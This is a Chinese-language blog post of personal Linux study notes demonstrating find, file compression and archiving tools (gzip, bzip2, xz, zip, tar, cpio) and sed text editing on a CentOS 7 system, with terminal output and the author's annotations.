33592096    0 drwxr-xr-x   2 root     root           16 Apr 12 13:03 ./d1/d2/d3
33592097    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 ./d1/d2/d3/f1
16781761    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 ./d1/d2/f1
    78    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 ./d1/f1
    77    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 ./d1f1
    70    4 -rw-r–r–   2 root     root          562 Apr  9 23:36 ./arg
    79    4 -rw-r–r–   1 root     root         1023 Apr 12 15:14 ./f11
    80    4 -rw-r–r–   1 root     root         1024 Apr 12 15:16 ./f12
[root@CENTOS7 data]#find -perm -666 -ls    大于等于666就行
    68    0 lrwxrwxrwx   1 root     root            6 Apr 10 09:27 ./link.sh -> arg.sh
[root@CENTOS7 data]#find -perm 666 -ls   权限是666的文件
echo f{1..10000000} | xargs -n100 touch  创建多个小文件或者删除时使用。  -n100每100个一组
[root@CENTOS7 data]#find -perm 644 -delete   删除找到的文件
find -perm 644 -fls file1 = find -perm 644 -ls > file1   保存找到的文件的属性到file1中
[root@CENTOS7 data]#find -empty -ok rm {} \;  交互式删除找到的文件
< rm … ./f1 > ? y
< rm … ./d1/d2/d3/f1 > ? y
< rm … ./d1/d2/f1 > ? y
< rm … ./d1/f1 > ? y
< rm … ./d1f1 > ? y
find -name “f*” -exec rm {} \; 直接删除不在询问
find -name “f*” -exec mv {} /root/bin/ \;  移动文件到root/bin下
find -name “f*” -exec mv {} {}.bak \;  修改文件名字
压缩
压缩的是文件,可以一次压缩多个文件但是压缩结果也是多个,不会打包成一个文件
[root@CENTOS7 f111]#compress m   压缩文件m    ,会删除原文件
[root@CENTOS7 f111]#ll
total 2244
-rw——-. 1 root root 1867600 Apr 12 16:47 messages
-rw——-. 1 root root  428795 Apr 12 16:48 m.Z
(uncompress或者 compress -d) m.Z   解压文件
[root@CENTOS7 f111]#compress -c m > m.Z  不会删除原文件
[root@CENTOS7 f111]#ll
total 4068
-rw——-. 1 root root 1867600 Apr 12 16:48 m
-rw——-. 1 root root 1867600 Apr 12 16:47 messages
-rw-r–r–. 1 root root  428795 Apr 12 16:54 m.Z
[root@CENTOS7 f111]#zcat m.Z > mm   解压缩且不删除压缩文件
[root@CENTOS7 f111]#ll
total 5892
-rw——-. 1 root root 1867600 Apr 12 16:48 m
-rw——-. 1 root root 1867600 Apr 12 16:47 messages
-rw-r–r–. 1 root root 1867600 Apr 12 16:55 mm
-rw-r–r–. 1 root root  428795 Apr 12 16:54 m.Z
[root@CENTOS7 f111]#gzip m
[root@CENTOS7 f111]#ll
total 4268
-rw——-. 1 root root 1867600 Apr 12 16:47 messages
-rw——-. 1 root root  204721 Apr 12 16:48 m.gz
-rw-r–r–. 1 root root 1867600 Apr 12 16:55 mm
-rw-r–r–. 1 root root  428795 Apr 12 16:54 m.Z
gzip/gunzip
?gzip [OPTION]… FILE …
-d: 解压缩,相当于gunzip
-c: 将压缩或解压缩的结果输出至标准输出
-#:1-9,指定压缩比,值越大压缩比越大
?zcat:不显式解压缩的前提下查看文本文件内容
?实例:
gzip -c messages >messages.gz
gzip -c -d messages.gz > messages
zcat messages.gz > messages
bzip2/bunzip2/bzcat                  解压缩文件需要正确的后缀名
?bzip2 [OPTION]… FILE …
-k: keep, 保留原文件
-d:解压缩
-#:1-9,压缩比,默认为9
?bzcat:不显式解压缩的前提下查看文本文件内容
xz/unxz/xzcat
?xz [OPTION]… FILE …
-k: keep, 保留原文件
-d:解压缩
-#:1-9,压缩比,默认为6
?xzcat: 不显式解压缩的前提下查看文本文件内容
打包压缩
zip –r /testdir/sysconfig /etc/sysconfig/
?解包解压缩
unzip sysconfig.zip
cat /var/log/messages | zip messages –  如果不带-没有东西可压缩
unzip -p message > message
[root@CENTOS7 f111]#ll data.tar -h   查看文件daxiao
-rw-r–r–. 1 root root 30K Apr 12 17:47 data.tar
[root@CENTOS7 f111]#du -sh /data    查看文件夹大小
76K /data
[root@CENTOS7 f111]#tar -tvf vp    预览压缩的文件包
tar -cpvf dara.tar /data      打包data
tar -xvf dara.tar -C/mnt       默认解压到当前文件夹,-C/mnt  指定解包到/mnt目录下
tar -zcpvf data.tar.gz /data     打包并压缩
tar -jcpvf data.tar.bgz2 /data
tar -Jcpvf data.tar.xz /data
tar -xvf dara.tar -C/mnt         解压缩
tar -Jcvpf list.tar .xz -T list.txt -X exlist.txt      -T中放的/root和/boot这是要打包的,-X中放的是/root/passwd和/boot/initramfs-3.10.0-693.el7.x86_64.img,这些是不打包的文件
split  -b 10M -d list.tar.xz  a.tar   切割后的文件是   a.tar.xz00…a.tar.xz09
cat a.tar.xz* > a.tar.xz    将切割后的文件合并成切割前的文件
find /etc/sysconfig/ | cpio -ov > sysconfig.cpio   ,打包成cpio文件,如果打包的文件带绝对路径,解包时会按照原来的路径解压
cpio -tv < sysconfig.cpio      预览文件的文件名
cpio -idv <sysconfig.cpio       解开文件默认解在当前文件夹下
sed
sed命令是一个行编辑器
当运行sed时在内存中开辟一个空间叫做模式空间,每次读取一行,默认print。
[root@CENTOS7 data]#sed “2p” f1    自动打印 第二行再打印一遍
1
2
2
3
4
5
6
7
8
9
10
[root@CENTOS7 data]#ifconfig | sed -n “2p”
        inet 192.168.30.101  netmask 255.255.255.0  broadcast 192.168.30.255
[root@CENTOS7 data]#sed -n “/root/p” /etc/passwd             搜索有root的行
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@CENTOS7 data]#sed -n ‘$p’ /etc/passwd                搜索最后一行,注意只能使用’$p’,不能使用”$p”。
yyyyyyyyyyyyyy:x:1006:1012::/home/yyyyyyyyyyyyyy:/bin/bash
[root@CENTOS7 data]#sed -n ‘/^root/p’ /etc/passwd           已root开头的行
root:x:0:0:root:/root:/bin/bash
[root@CENTOS7 data]#sed -n ‘2,5p’ /etc/passwd               显示2到5行
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[root@CENTOS7 data]#sed -n ‘2,+3p’ /etc/passwd
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[root@CENTOS7 data]#sed -n ‘/^bin/,/^ftp/p’ /etc/passwd      显示bin开头到ftp
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
sed -n ‘/^bin/,/^disjofhwaohfosh/p’ /etc/passwd
从bin开头如果后面都没有匹配到这从bin一直显示全文
[root@CENTOS7 data]#sed -n ‘1~2p’ f1  显示奇数行
1
3
5
7
9
[root@CENTOS7 data]#sed -n ‘2~2p’ f1   显示偶数行
2
4
6
8
10
[root@CENTOS7 data]#sed -n -e ‘2p’ -e ‘4p’ -e ‘6p’ f1   多点编辑
2
4
6
[root@CENTOS7 data]#cat > f
2~2p
2p
5p
[root@CENTOS7 data]#sed -n -f f f1     处理文件内的多条命令
2
2
4
5
6
8
10
[root@CENTOS7 data]#sed ‘2d’ f1    删除第二行
1
3
4
5
6
7
8
9
10
[root@CENTOS7 data]#sed ‘2!d’ f1     删除第二行取反
2
[root@CENTOS7 data]#sed -n ‘/root/=’ /etc/passwd     =  显示匹配到的行号
1
10
[root@CENTOS7 data]#sed ‘2,5a=== aewwq’ f1       a 在指定行后追加内容
1
2
=== aewwq
3
=== aewwq
4
=== aewwq
5
=== aewwq
6
7
8
9
10
[root@CENTOS7 data]#sed ‘/aliase/aaliase p=”poweroff”‘ /root/.bashrc   添加alias p=poweeroff
# .bashrc
# User specific aliases and functions
aliase p=”poweroff”
alias rm=’rm -i’
alias cp=’cp -i –backup=numbered’
alias mv=’mv -i’
alias cdnet=”cd /etc/sysconfig/network-scripts”
alias editnet=”vim /etc/sysconfig/network-scripts/ifcfg-ens33″
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
[root@CENTOS7 data]#sed -i.bak ‘/aliases/aalias p=poweroff’ /root/.bashrc     修改原文件并备份文件
[root@CENTOS7 data]#sed ‘2,5a   123’ f1    需要加\才能显示空格
1
2
123
3
123
4
123
5
123
6
7
8
9
10
[root@CENTOS7 data]#sed ‘2,5a\   123’ f1    a\表示从\开始后面都是要追加的内容
1
2
   123
3
   123
4
   123
5
   123
6
7
8
9
10
[root@CENTOS7 data]#sed ‘2,5i\   123’ f1     a在后面加,i在前面追加
1
   123
2
   123
3
   123
4
   123
5
6
7
8
9
10
[root@CENTOS7 data]#sed ‘2,5c\   2345’ f1   c用2345代替2到5行
1
   2345
6
7
8
9
10
[root@CENTOS7 data]#sed ‘2~2w f2’ f1    w将符合条件的行存入到f2中
1
2
3
4
5
6
7
8
9
10
[root@CENTOS7 data]#cat f2
2
4
6
8
10
[root@CENTOS7 data]#sed ‘2~2r /etc/issue’ f1   r读入文件追加到指定的行后
1
2
\S
Kernel \r on an \m
3
4
\S
Kernel \r on an \m
5
6
\S
Kernel \r on an \m
7
8
\S
Kernel \r on an \m
9
10
\S
Kernel \r on an \m
[root@CENTOS7 data]#sed -n s’/root/rooter/p’ /etc/passwd    搜索root并替换成rooter
rooter:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/rooter:/sbin/nologin
[root@CENTOS7 data]#sed -n ‘s/root/rooter/gp’ /etc/passwd     全部替换
rooter:x:0:0:rooter:/rooter:/bin/bash
operator:x:11:0:operator:/rooter:/sbin/nologin
[root@CENTOS7 data]#sed -n -r ‘s/(root)/\1mei/gp’ /etc/passwd    使用正则表达式
rootmei:x:0:0:rootmei:/rootmei:/bin/bash
operator:x:11:0:operator:/rootmei:/sbin/nologin
[root@CENTOS7 data]#sed -r ‘s/(.*)/\1magedu/’ /etc/passwd     每行后都加上magedu
root:x:0:0:root:/root:/bin/bashmagedu
bin:x:1:1:bin:/bin:/sbin/nologinmagedu
daemon:x:2:2:daemon:/sbin:/sbin/nologinmagedu
adm:x:3:4:adm:/var/adm:/sbin/nologinmagedu
[root@CENTOS7 data]#sed -r ‘/GRUB_CMDLINE_LINUX=/s/(.*)”$/\1 xyz”/’ /etc/default/grub
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR=”$(sed ‘s, release .*$,,g’ /etc/system-release)”    /搜索条件/s/正则表达式/要替换的内容/
GRUB_DEFAULT=saved
GRUB_DISABLE_SUBMENU=true
GRUB_TERMINAL_OUTPUT=”console”
GRUB_CMDLINE_LINUX=”crashkernel=auto rhgb quiet xyz”
GRUB_DISABLE_RECOVERY=”true”
[root@CENTOS7 data]#sed -r ‘/GRUB_CMDLINE_LINUX=/s/”$/ xyz”/’ /etc/default/grub
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR=”$(sed ‘s, release .*$,,g’ /etc/system-release)”
GRUB_DEFAULT=saved
GRUB_DISABLE_SUBMENU=true
GRUB_TERMINAL_OUTPUT=”console”
GRUB_CMDLINE_LINUX=”crashkernel=auto rhgb quiet xyz”
GRUB_DISABLE_RECOVERY=”true”
[root@CENTOS7 data]#ifconfig ens33 | sed -n ‘2p’ | sed -r ‘s/(.*inet )(.*)( net.*)/\2/’  取ip地址
192.168.30.101
[root@CENTOS7 data]#ifconfig ens33 | sed -r ‘2!d;s/(.*inet )(.*)( net.*)/\2/’     删除除了第2行
192.168.30.101
[root@CENTOS7 data]#ifconfig ens33 | sed -n ‘2p’ | sed ‘s/.*net //’ | sed ‘s/ net.*//’    掐头去尾
192.168.30.101
[root@CENTOS7 data]#ifconfig ens33 | sed -n ‘2p’ | sed -e ‘s/.*net //’ -e ‘s/ net.*//’
192.168.30.101
[root@centos ~]#cat -n /etc/httpd/conf/httpd.conf  | sed -n -e ‘990p’ -e ‘1003,1009p’ | sed -r ‘s/.*#//g’
NameVirtualHost *:80
<VirtualHost *:80>
    ServerAdmin webmaster@dummy-host.example.com
    DocumentRoot /www/docs/dummy-host.example.com
    ServerName dummy-host.example.com
    ErrorLog logs/dummy-host.example.com-error_log
    CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
[root@centos ~]#echo “/etc/sysconfig/network/” |sed -r ‘s@(.*/)([^/]+/?)@\1@’   取基名和路径
/etc/sysconfig/
[root@centos ~]#cat -n /etc/httpd/conf/httpd.conf | sed ‘990,1009!d’ | sed ‘2,14d’      后面的第二次去行是前面取完文件的行数。
   990 #NameVirtualHost *:80
  1004 #    ServerAdmin webmaster@dummy-host.example.com
  1005 #    DocumentRoot /www/docs/dummy-host.example.com
  1006 #    ServerName dummy-host.example.com
  1007 #    ErrorLog logs/dummy-host.example.com-error_log
  1008 #    CustomLog logs/dummy-host.example.com-access_log common
  1009 #</VirtualHost>

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/96014

(0)
上一篇 2018-04-15 14:38
下一篇 2018-04-15 14:48

相关推荐

  • 震惊!!!原来CentOS-7装起来这么容易

    震惊!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

    2018-07-22
  • 第二周作业

    第二周

    Linux笔记 2018-05-20
  • 第一周博客作业-N31-初识Linux

    本篇文章主要围绕计算机的组成及其功能以及Linux的基础命令、目录等进行相关阐述

    2018-07-11
  • 第二周(6.25-7.1)作业

    1、linux 上的文件管理命令有那些,其常用的使用方法及相关演示: 1)目录管路命令: mkdir : make directories 命令实现格式:mkdir   [OPTION]…    DIRECTORY… -p: 按需创建父目录;(路径名中的基目录前面的父目录没有,其自行创建) -v:  verbose   显示详细过程 …

    2018-06-28
  • 数组,字符串切片,高级变量

    数组 变量:存储单个元素的内存空间 数组:存储多个元素的连续的内存空间,相当于多个变量的集合 数组名和索引 索引:编号从0开始,属于数值索引 注意:索引可支持使用自定义的格式,而不仅是数值格式,即为关联索引 bash4.0版本之后开始支持 bash –version   查看bash版本 bash的数组支持稀疏格式(索引不连续) 声明数组: de…

    Linux笔记 2018-05-13
  • 第二周作业

    第二周

    Linux笔记 2018-05-20